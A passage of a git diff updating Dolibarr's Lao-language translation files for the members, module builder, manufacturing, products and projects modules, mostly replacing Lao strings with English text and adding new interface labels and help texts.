amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution regardless of the member type +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type AmountIsLowerToMinimumNotice=sur un dû total de %s -MEMBER_NEWFORM_PAYONLINE=ໂດດໄປຫາ ໜ້າ ການຊໍາລະເງິນອອນໄລນ integrated ທີ່ປະສົມປະສານ +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=ໂດຍທໍາມະຊາດ MembersStatisticsByProperties=ສະຖິຕິສະມາຊິກໂດຍ ທຳ ມະຊາດ VATToUseForSubscriptions=VAT rate to use for contributionss @@ -228,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/lo_LA/modulebuilder.lang b/htdocs/langs/lo_LA/modulebuilder.lang index 383152fa129..2491ae459a4 100644 --- a/htdocs/langs/lo_LA/modulebuilder.lang +++ b/htdocs/langs/lo_LA/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=This tool must be used only by experienced users or developers. It provides utilities to build or edit your own module. Documentation for alternative manual development is here. EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=ເສັ້ນທາງບ່ອນທີ່ມີການສ້າງ/ແກ້ໄຂໂມດູນ (ໄດເຣັກທໍຣີ ທຳ ອິດ ສຳ ລັບໂມດູນພາຍນອກທີ່ ກຳ ນົດໄວ້ໃນ %s): %s ModuleBuilderDesc3=ພົບໂມດູນທີ່ສ້າງຂຶ້ນ/ແກ້ໄຂໄດ້: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=ໂມດູນຖືກກວດພົບວ່າສາມ NewModule=ໂມດູນໃຫມ່ NewObjectInModulebuilder=ວັດຖຸໃ່ NewDictionary=New dictionary +ModuleName=Module name ModuleKey=ປຸ່ມໂມດູນ ObjectKey=ປຸ່ມວັດຖຸ DicKey=Dictionary key @@ -48,11 +50,14 @@ PathToModulePackage=ເສັ້ນທາງໄປຫາ zip ຂອງຊຸດ PathToModuleDocumentation=ເສັ້ນທາງໄປຫາເອກະສານເອກະສານລະຫັດໂມດູນ/ໃບສະັກ (%s) SpaceOrSpecialCharAreNotAllowed=ບໍ່ອະນຸຍາດໃຫ້ມີຍະຫວ່າງຫຼືຕົວອັກສອນພິເສດ. FileNotYetGenerated=ຍັງບໍ່ໄດ້ສ້າງໄຟລເທື່ອ +GenerateCode=Generate code RegenerateClassAndSql=ບັງຄັບອັບເດດໄຟລ. .class ແລະ .sql RegenerateMissingFiles=ສ້າງໄຟລ missing ທີ່ຂາດຫາຍໄປ SpecificationFile=ເອກະສານປະກອບເອກະສານ LanguageFile=ໄຟລ for ສໍາລັບພາສາ ObjectProperties=ຄຸນສົມບັດວັດຖຸ +Property=Propery +PropertyDesc=A property is an attribute that characterizes an object. This attribute has a code, a label and a type with several options. ConfirmDeleteProperty=ເຈົ້າແນ່ໃຈບໍ່ວ່າເຈົ້າຕ້ອງການລຶບຄຸນສົມບັດ %s ? ອັນນີ້ຈະປ່ຽນລະຫັດໃນຊັ້ນ PHP ແຕ່ຍັງເອົາຖັນອອກມາຈາກການກໍານົດຕາຕະລາງວັດຖຸ. NotNull=ບໍ່ແມ່ນ NULL NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) @@ -81,15 +86,16 @@ IsAMeasure=ເປັນມາດຕະການ DirScanned=ສະແກນບັນຊີລາຍການແລ້ວ NoTrigger=ບໍ່ມີທຣິກເກີ NoWidget=ບໍ່ມີວິດເຈັດ -GoToApiExplorer=API explorer +ApiExplorer=API explorer ListOfMenusEntries=ລາຍການລາຍການເມນູ ListOfDictionariesEntries=ລາຍຊື່ວັດຈະນານຸກົມ ListOfPermissionsDefined=ບັນຊີລາຍຊື່ຂອງການອະນຸຍາດທີ່ກໍານົດໄວ້ SeeExamples=ເບິ່ງຕົວຢ່າງທີ່ນີ້ -EnabledDesc=ເງື່ອນໄຂໃຫ້ພາກສະ ໜາມ ນີ້ເຄື່ອນໄຫວຢູ່ (ຕົວຢ່າງ: 1 ຫຼື $ conf-> global-> MYMODULE_MYOPTION) -VisibleDesc=ພາກສະຫນາມແມ່ນສັງເກດເຫັນ? (ຕົວຢ່າງ: 0 = ບໍ່ເຄີຍເຫັນ, 1 = ເບິ່ງເຫັນໄດ້ຢູ່ໃນລາຍການແລະສ້າງ/ອັບເດດ/ເບິ່ງແບບຟອມ, 2 = ເບິ່ງເຫັນໄດ້ຢູ່ໃນລາຍການເທົ່ານັ້ນ, 3 = ສາມາດເບິ່ງເຫັນໄດ້ໃນຮູບແບບສ້າງ/ອັບເດດ/ເບິ່ງຮູບແບບເທົ່ານັ້ນ (ບໍ່ມີລາຍຊື່), 4 = ເບິ່ງເຫັນໄດ້ໃນລາຍຊື່ແລະ update/view form only (not create), 5 = Visible on list end view form only (ບໍ່ສ້າງ, ບໍ່ໄດ້ອັບເດດ).

      ມັນສາມາດເປັນການສະແດງອອກ, ຕົວຢ່າງ:
      preg_match ('/public/', $ _SERVER ['PHP_SELF'])? 0: 1
      ($ user-> right->) -DisplayOnPdfDesc=ສະແດງຊ່ອງຂໍ້ມູນນີ້ໃສ່ເອກະສານ PDF ທີ່ເຂົ້າກັນໄດ້, ເຈົ້າສາມາດຈັດການ ຕຳ ແໜ່ງ ດ້ວຍຊ່ອງຂໍ້ມູນ "ຕຳ ແໜ່ງ".
      ໃນປະຈຸບັນ, ຮູບແບບ PDF ທີ່ເຂົ້າກັນໄດ້ເປັນທີ່ຮູ້ຈັກແມ່ນ: eratosthene (ຄໍາສັ່ງ), espadon (ເຮືອ), sponge (ໃບແຈ້ງ ໜີ້), cyan (propal/ໃບສະ ເໜີ ລາຄາ), cornas (ຄໍາສັ່ງຂອງຜູ້ສະ ໜອງ)

      a0e78439009d04d09d04d09d0b0b0b0b0b0b0d0b0b0b0b0b0b0b0b0b0bf0bfd ແມ່ນເຮັດໃຫ້ເປັນໄປໄດ້ = ສະແດງ
      2 = ສະແດງຫນ້າຈໍຖ້າບໍ່ຫວ່າງ

      ສໍາລັບສາຍເອກະສານ:
      0 = ບໍ່ສະແດງ
      1 = ສະແດງໃນຄໍລໍາ
      3 = ການສະແດງໃນຖັນຄໍາອະທິບາຍເສັ້ນພາຍຫຼັງທີ່ຄໍາອະທິບາຍ
      4 = ການສະແດງໃນຖັນຄໍາອະທິບາຍຫຼັງຈາກ ຄໍາອະທິບາຍເທົ່ານັ້ນຖ້າບໍ່ຫວ່າງເປົ່າ -DisplayOnPdf=ສະແດງໃນ PDF +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=ສາມາດສະສົມມູນຄ່າຂອງຊ່ອງຂໍ້ມູນເພື່ອເອົາຈໍານວນທັງintoົດເຂົ້າໃນບັນຊີໄດ້ບໍ? (ຕົວຢ່າງ: 1 ຫຼື 0) SearchAllDesc=ພາກສະ ໜາມ ໄດ້ຖືກນໍາໃຊ້ເພື່ອເຮັດການຄົ້ນຫາຈາກເຄື່ອງມືຄົ້ນຫາໄວບໍ? (ຕົວຢ່າງ: 1 ຫຼື 0) SpecDefDesc=ກະລຸນາໃສ່ເອກະສານທັງyouົດທີ່ເຈົ້າຕ້ອງການສະ ໜອງ ໃຫ້ກັບໂມດູນຂອງເຈົ້າທີ່ບໍ່ໄດ້ຖືກກໍານົດໄວ້ໂດຍແຖບອື່ນຢູ່ແລ້ວ. ເຈົ້າສາມາດໃຊ້ .md ຫຼືດີກວ່າ, ໄວຍາກອນ .asciidoc ອຸດົມສົມບູນ. @@ -130,26 +136,32 @@ UseSpecificEditorURL = ໃຊ້ URL ຕົວແກ້ໄຂສະເພາະ UseSpecificFamily = ໃຊ້ຄອບຄົວສະເພາະ UseSpecificAuthor = ໃຊ້ຜູ້ຂຽນສະເພາະ UseSpecificVersion = ໃຊ້ສະບັບເລີ່ມຕົ້ນສະເພາະ -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=ຖ້າເຈົ້າກວດເບິ່ງອັນນີ້, ລະຫັດບາງອັນຈະຖືກສ້າງຂຶ້ນເພື່ອເພີ່ມກ່ອງ "ສ້າງເອກະສານ" ໃສ່ໃນບັນທຶກ. -ShowOnCombobox=ສະແດງໃຫ້ເຫັນມູນຄ່າໃນການ combobox +ShowOnCombobox=Show value into combo boxes KeyForTooltip=ກະແຈ ສຳ ລັບ ຄຳ ແນະ ນຳ CSSClass=CSS ສໍາລັບການແກ້ໄຂ/ສ້າງແບບຟອມ CSSViewClass=CSS ສໍາລັບແບບຟອມການອ່ານ CSSListClass=CSS ສຳ ລັບລາຍຊື່ NotEditable=ບໍ່ສາມາດແກ້ໄຂໄດ້ ForeignKey=ກະແຈຕ່າງປະເທດ -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=ຕົວປ່ຽນ Ascii ເປັນ HTML AsciiToPdfConverter=Ascii ເປັນຕົວປ່ຽນ PDF TableNotEmptyDropCanceled=ຕາຕະລາງບໍ່ຫວ່າງເປົ່າ. ການຍົກເລີກໄດ້ຖືກຍົກເລີກ. ModuleBuilderNotAllowed=ຕົວສ້າງໂມດູນສາມາດໃຊ້ໄດ້ແຕ່ບໍ່ອະນຸຍາດໃຫ້ກັບຜູ້ໃຊ້ຂອງເຈົ້າ. ImportExportProfiles=ນຳ ເຂົ້າແລະສົ່ງອອກໂປຣໄຟລ -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated LinkToParentMenu=Parent menu (fk_xxxxmenu) ListOfTabsEntries=List of tab entries TabsDefDesc=Define here the tabs provided by your module TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/lo_LA/mrp.lang b/htdocs/langs/lo_LA/mrp.lang index 258e31d28f3..0f9ed4894d3 100644 --- a/htdocs/langs/lo_LA/mrp.lang +++ b/htdocs/langs/lo_LA/mrp.lang @@ -11,8 +11,8 @@ Bom=ໃບບິນຄ່າວັດສະດຸ BillOfMaterials=ໃບເກັບເງິນວັດສະດຸ BillOfMaterialsLines=Bill of Materials lines BOMsSetup=ການຕັ້ງຄ່າໂມດູນ BOM -ListOfBOMs=ລາຍການໃບບິນຄ່າວັດສະດຸ - BOM -ListOfManufacturingOrders=ລາຍການຄໍາສັ່ງຜະລິດ +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Manufacturing Orders NewBOM=ບັນຊີລາຍການໃຫມ່ຂອງອຸປະກອນການ ProductBOMHelp=ຜະລິດຕະພັນເພື່ອສ້າງ (ຫຼືແຍກອອກ) ກັບ BOM ນີ້.
      Noteາຍເຫດ: ຜະລິດຕະພັນທີ່ມີຄຸນສົມບັດ 'ລັກສະນະຂອງຜະລິດຕະພັນ' = 'ວັດຖຸດິບ' ແມ່ນບໍ່ປາກົດໃຫ້ເຫັນໃນລາຍການນີ້. BOMsNumberingModules=ແມ່ແບບຕົວເລກ BOM @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=ເຈົ້າແນ່ໃຈບໍ່ວ່າເ ConfirmCloneMo=ເຈົ້າແນ່ໃຈບໍ່ວ່າເຈົ້າຕ້ອງການໂຄນຄໍາສັ່ງການຜະລິດ %s? ManufacturingEfficiency=ປະສິດທິພາບການຜະລິດ ConsumptionEfficiency=ປະສິດທິພາບການບໍລິໂພກ +Consumption=Consumption ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly ValueOfMeansLossForProductProduced=ມູນຄ່າ 0.95 meansາຍເຖິງສະເລ່ຍ 5%% ຂອງການສູນເສຍຜະລິດຕະພັນທີ່ຜະລິດອອກມາ DeleteBillOfMaterials=ລຶບບັນຊີລາຍການວັດສະດຸ @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=ສຳ ລັບປະລິມານທີ່ຈະແ ConfirmValidateMo=ເຈົ້າແນ່ໃຈບໍ່ວ່າເຈົ້າຕ້ອງການກວດສອບ ຄຳ ສັ່ງການຜະລິດນີ້? ConfirmProductionDesc=ໂດຍການຄລິກທີ່ '%s', ທ່ານຈະກວດສອບການບໍລິໂພກແລະ/ຫຼືການຜະລິດສໍາລັບປະລິມານທີ່ກໍານົດໄວ້. ອັນນີ້ຍັງຈະປັບປຸງຫຼັກຊັບແລະບັນທຶກການເຄື່ອນໄຫວຂອງຫຼັກຊັບ. ProductionForRef=ການຜະລິດ %s +CancelProductionForRef=Cancellation of product stock decrementation for product %s +TooltipDeleteAndRevertStockMovement=Delete line and revert stock movement AutoCloseMO=ປິດ ຄຳ ສັ່ງການຜະລິດໂດຍອັດຕະໂນມັດຖ້າຮອດປະລິມານທີ່ຈະບໍລິໂພກແລະຜະລິດແລ້ວ NoStockChangeOnServices=ບໍ່ມີການປ່ຽນແປງຫຼັກຊັບໃນການບໍລິການ ProductQtyToConsumeByMO=ປະລິມານຜະລິດຕະພັນຍັງຕ້ອງບໍລິໂພກໂດຍການເປີດ MO @@ -80,6 +83,7 @@ ProductsToProduce=ຜະລິດຕະພັນເພື່ອຜະລິດ UnitCost=ຕົ້ນທຶນ TotalCost=ຄ່າ​ໃຊ້​ຈ່າຍ​ທັງ​ຫມົດ BOMTotalCost=ຕົ້ນທຶນໃນການຜະລິດ BOM ນີ້ແມ່ນອີງໃສ່ຕົ້ນທຶນຂອງແຕ່ລະປະລິມານແລະຜະລິດຕະພັນທີ່ຈະບໍລິໂພກ (ໃຊ້ລາຄາຕົ້ນທຶນຖ້າກໍານົດ, ລາຄານໍ້າ ໜັກ ສະເລ່ຍອື່ນຖ້າກໍານົດ, ອັນອື່ນແມ່ນລາຄາຊື້ທີ່ດີທີ່ສຸດ). +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=ທຳ ອິດເຈົ້າຈະຕ້ອງເລີ່ມການຜະລິດເພື່ອປິດ ຄຳ ສັ່ງການຜະລິດ (ເບິ່ງແຖບ '%s'). ແຕ່ເຈົ້າສາມາດຍົກເລີກມັນໄດ້. ErrorAVirtualProductCantBeUsedIntoABomOrMo=ຊຸດບໍ່ສາມາດໃຊ້ເປັນ BOM ຫຼື MO ໄດ້ Workstation=ບ່ອນເຮັດວຽກ @@ -107,3 +111,10 @@ THMEstimatedHelp=ອັດຕານີ້ເຮັດໃຫ້ສາມາດກ BOM=Bill Of Materials CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module MOAndLines=Manufacturing Orders and lines +MoChildGenerate=Generate Child Mo +ParentMo=MO Parent +MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/lo_LA/products.lang b/htdocs/langs/lo_LA/products.lang index c6ccdc4adba..9804e5edcb9 100644 --- a/htdocs/langs/lo_LA/products.lang +++ b/htdocs/langs/lo_LA/products.lang @@ -137,7 +137,8 @@ ConfirmDeleteProductLine=ເຈົ້າແນ່ໃຈບໍ່ວ່າເຈ ProductSpecial=ພິເສດ QtyMin=ຂັ້ນຕ່ ຳ ປະລິມານການຊື້ PriceQtyMin=ປະລິມານລາຄາຂັ້ນຕ່ ຳ -PriceQtyMinCurrency=ລາຄາ (ສະກຸນເງິນ) ສຳ ລັບ ຈຳ ນວນນີ້. (ບໍ່ມີສ່ວນຫຼຸດ) +PriceQtyMinCurrency=Price (currency) for this qty. +WithoutDiscount=Without discount VATRateForSupplierProduct=ອັດຕາອາກອນມູນຄ່າເພີ່ມ (ສຳ ລັບຜູ້ຂາຍ/ຜະລິດຕະພັນນີ້) DiscountQtyMin=ສ່ວນຫຼຸດ ສຳ ລັບ ຈຳ ນວນນີ້. NoPriceDefinedForThisSupplier=ບໍ່ໄດ້ກໍານົດລາຄາ/ຈໍານວນຜູ້ຂາຍ/ຜະລິດຕະພັນນີ້ @@ -261,7 +262,7 @@ Quarter1=ທີ 1. ໄຕມາດ Quarter2=ທີ 2. ໄຕມາດ Quarter3=ທີ 3. ໄຕມາດ Quarter4=ທີ 4. ໄຕມາດ -BarCodePrintsheet=ພິມບາໂຄດ +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=ດ້ວຍເຄື່ອງມືນີ້, ເຈົ້າສາມາດພິມແຜ່ນສະຕິກເກີບາໂຄດໄດ້. ເລືອກຮູບແບບຂອງ ໜ້າ ສະຕິກເກີຂອງເຈົ້າ, ປະເພດບາໂຄດແລະຄ່າຂອງບາໂຄດ, ຈາກນັ້ນຄລິກທີ່ປຸ່ມ %s . NumberOfStickers=ຈຳ ນວນສະຕິກເກີທີ່ຈະພິມໃສ່ໃນ ໜ້າ PrintsheetForOneBarCode=ພິມສະຕິກເກີຫຼາຍອັນສໍາລັບບາໂຄດອັນດຽວ @@ -344,9 +345,9 @@ PossibleValues=ຄ່າທີ່ເປັນໄປໄດ້ GoOnMenuToCreateVairants=ໄປທີ່ເມນູ %s - %s ເພື່ອກະກຽມຕົວແປຄຸນລັກສະນະ (ເຊັ່ນສີ, ຂະ ໜາດ, ... ) UseProductFournDesc=ເພີ່ມຄຸນສົມບັດເພື່ອກໍານົດຄໍາອະທິບາຍຜະລິດຕະພັນທີ່ກໍານົດໂດຍຜູ້ຂາຍ (ສໍາລັບການອ້າງອີງຜູ້ຂາຍແຕ່ລະຄົນ) ນອກຈາກຄໍາອະທິບາຍສໍາລັບລູກຄ້າ ProductSupplierDescription=ລາຍລະອຽດຂອງຜູ້ຂາຍສໍາລັບຜະລິດຕະພັນ -UseProductSupplierPackaging=ໃຊ້ການຫຸ້ມຫໍ່ຕາມລາຄາຜູ້ສະ ໜອງ (ຄິດໄລ່ປະລິມານຄືນໃaccording່ຕາມການຫຸ້ມຫໍ່ທີ່ກໍານົດໄວ້ໃນລາຄາຜູ້ສະ ໜອງ ເມື່ອເພີ່ມ/ປັບປຸງແຖວໃນເອກະສານຜູ້ສະ ໜອງ) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=ການຫຸ້ມຫໍ່ -PackagingForThisProductDesc=ຕາມ ຄຳ ສັ່ງຂອງຜູ້ສະ ໜອງ, ເຈົ້າຈະສັ່ງຊື້ປະລິມານນີ້ໂດຍອັດຕະໂນມັດ (ຫຼືຫຼາຍປະລິມານນີ້). ບໍ່ສາມາດ ໜ້ອຍ ກວ່າຈໍານວນຊື້ຂັ້ນຕ່ ຳ ໄດ້ +PackagingForThisProductDesc=You will automaticaly purchase a multiple of this quantity. QtyRecalculatedWithPackaging=ປະລິມານຂອງສາຍໄດ້ຖືກຄິດໄລ່ຄືນໃpackaging່ຕາມການຫຸ້ມຫໍ່ຂອງຜູ້ສະ ໜອງ #Attributes @@ -398,7 +399,7 @@ ActionAvailableOnVariantProductOnly=ການກະ ທຳ ພຽງແຕ່ມ ProductsPricePerCustomer=ລາຄາສິນຄ້າຕໍ່ລູກຄ້າ ProductSupplierExtraFields=ຄຸນລັກສະນະເພີ່ມເຕີມ (ລາຄາຜູ້ສະ ໜອງ) DeleteLinkedProduct=ລຶບຜະລິດຕະພັນເດັກທີ່ເຊື່ອມໂຍງກັບການປະສົມປະສານ -AmountUsedToUpdateWAP=Amount to use to update the Weighted Average Price +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=ນໍ້າ ໜັກ ລາຄາສະເລ່ຍ PMPValueShort=WAP mandatoryperiod=Mandatory periods @@ -408,6 +409,23 @@ mandatoryHelper=Check this if you want a message to the user when creating / val DefaultBOM=Default BOM DefaultBOMDesc=The default BOM recommended to use to manufacture this product. This field can be set only if nature of product is '%s'. Rank=Rank +MergeOriginProduct=Duplicate product (product you want to delete) +MergeProducts=Merge products +ConfirmMergeProducts=Are you sure you want to merge the chosen product with the current one? All linked objects (invoices, orders, ...) will be moved to the current product, after which the chosen product will be deleted. +ProductsMergeSuccess=Products have been merged +ErrorsProductsMerge=Errors in products merge SwitchOnSaleStatus=Switch on sale status SwitchOnPurchaseStatus=Switch on purchase status +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= Extra Fields (stock mouvement) +InventoryExtraFields= Extra Fields (inventory) +ScanOrTypeOrCopyPasteYourBarCodes=Scan or type or copy/paste your barcodes +PuttingPricesUpToDate=Update prices with current known prices +PMPExpected=Expected PMP +ExpectedValuation=Expected Valuation +PMPReal=Real PMP +RealValuation=Real Valuation +ConfirmEditExtrafield = Select the extrafield you want modify +ConfirmEditExtrafieldQuestion = Are you sure you want to modify this extrafield? +ModifyValueExtrafields = Modify value of an extrafield +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/lo_LA/projects.lang b/htdocs/langs/lo_LA/projects.lang index 147a4a4071d..5133e82e632 100644 --- a/htdocs/langs/lo_LA/projects.lang +++ b/htdocs/langs/lo_LA/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=ທັດສະນະນີ້ສະ ເໜີ ໂຄງກາ TasksDesc=ມຸມມອງນີ້ສະ ເໜີ ໂຄງການແລະ ໜ້າ ວຽກທັງ(ົດ (ການອະນຸຍາດຂອງຜູ້ໃຊ້ຂອງເຈົ້າໃຫ້ການອະນຸຍາດແກ່ເຈົ້າເພື່ອເບິ່ງທຸກຢ່າງ). AllTaskVisibleButEditIfYouAreAssigned=ວຽກທັງforົດ ສຳ ລັບໂຄງການທີ່ມີຄຸນວຸດທິແມ່ນສາມາດເບິ່ງເຫັນໄດ້, ແຕ່ເຈົ້າສາມາດໃສ່ເວລາໄດ້ພຽງແຕ່ ໜ້າ ວຽກທີ່ມອບtoາຍໃຫ້ກັບຜູ້ໃຊ້ທີ່ເລືອກ. ມອບtaskາຍ ໜ້າ ວຽກຖ້າເຈົ້າຕ້ອງການໃສ່ເວລາໃສ່ມັນ. OnlyYourTaskAreVisible=ມີພຽງແຕ່ ໜ້າ ວຽກທີ່ມອບtoາຍໃຫ້ທ່ານເທົ່ານັ້ນ. ຖ້າເຈົ້າຕ້ອງການໃສ່ເວລາຢູ່ໃນ ໜ້າ ວຽກແລະຖ້າບໍ່ເຫັນ ໜ້າ ວຽກຢູ່ທີ່ນີ້, ຈາກນັ້ນເຈົ້າຕ້ອງມອບtaskາຍ ໜ້າ ວຽກໃຫ້ກັບຕົວເຈົ້າເອງ. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=ວຽກງານຂອງໂຄງການ ProjectCategories=ແທັກ/ProjectວດProjectູ່ຂອງໂຄງການ NewProject=ໂຄງການໃຫມ່ @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=ນຳ ໄປສູ່ ຈຳ ນວນໂ OpportunitiesStatusForProjects=ນຳ ພາ ຈຳ ນວນໂຄງການຕາມສະຖານະພາບ ShowProject=ສະແດງໂຄງການ ShowTask=ສະແດງ ໜ້າ ວຽກ +SetThirdParty=Set third party SetProject=ກໍານົດໂຄງການ +OutOfProject=Out of project NoProject=ບໍ່ໄດ້ ກຳ ນົດໂຄງການຫຼືເປັນເຈົ້າຂອງ NbOfProjects=ຈຳ ນວນໂຄງການ NbOfTasks=ຈຳ ນວນ ໜ້າ ວຽກ @@ -122,7 +125,8 @@ ValidateProject=ຮັບຮອງໂຄງການ ConfirmValidateProject=ເຈົ້າແນ່ໃຈບໍ່ວ່າເຈົ້າຕ້ອງການກວດສອບໂຄງການນີ້? CloseAProject=ປິດໂຄງການ ConfirmCloseAProject=ເຈົ້າແນ່ໃຈບໍ່ວ່າເຈົ້າຕ້ອງການປິດໂຄງການນີ້? -AlsoCloseAProject=ປິດໂຄງການ (ຮັກສາມັນເປີດຖ້າຫາກວ່າທ່ານຍັງຈໍາເປັນຕ້ອງໄດ້ປະຕິບັດຕາມວຽກງານການຜະລິດກ່ຽວກັບມັນ) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=ເປີດໂຄງການ ConfirmReOpenAProject=ເຈົ້າແນ່ໃຈບໍ່ວ່າເຈົ້າຕ້ອງການເປີດໂຄງການນີ້ຄືນໃ່? ProjectContact=ຕິດຕໍ່ພົວພັນຂອງໂຄງການ @@ -165,7 +169,7 @@ OpportunityProbability=ຄວາມເປັນໄປໄດ້ຂອງຜູ້ OpportunityProbabilityShort=ນຳ ພາບັນຫາ. OpportunityAmount=ຈຳ ນວນ ນຳ OpportunityAmountShort=ຈຳ ນວນ ນຳ -OpportunityWeightedAmount=ໂອກາດນ້ ຳ ໜັກ ຈຳ ນວນ +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=ກົງກັນຂ້າມ. ຈຳ ນວນນ້ ຳ ໜັກ OpportunityAmountAverageShort=ປະລິມານການນໍາສະເລ່ຍ OpportunityAmountWeigthedShort=ປະລິມານ ນຳ ້ ໜັກ @@ -238,7 +242,7 @@ OppStatusPENDING=ຍັງຄ້າງຢູ່ OppStatusWON=ຊະນະ OppStatusLOST=ເສຍ Budget=ງົບປະມານ -AllowToLinkFromOtherCompany=ອະນຸຍາດໃຫ້ເຊື່ອມຕໍ່ໂຄງການຈາກບໍລິສັດອື່ນ

      ຄ່າທີ່ສະ ໜັບ ສະ ໜູນ:
      - ຫວ່າງເປົ່າ: ສາມາດເຊື່ອມໂຍງໂຄງການໃດນຶ່ງຂອງບໍລິສັດ (ມາດຕະຖານ) a0342fccf1919 ໂຄງການຂອງບັນດາໂຄງການອື່ນ any, " ໄອດີຂອງພາກສ່ວນທີສາມທີ່ແຍກກັນດ້ວຍasາຍຈຸດ: ສາມາດເຊື່ອມໂຍງໂຄງການທັງofົດຂອງພາກສ່ວນທີສາມເຫຼົ່ານີ້ໄດ້ (ຕົວຢ່າງ: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
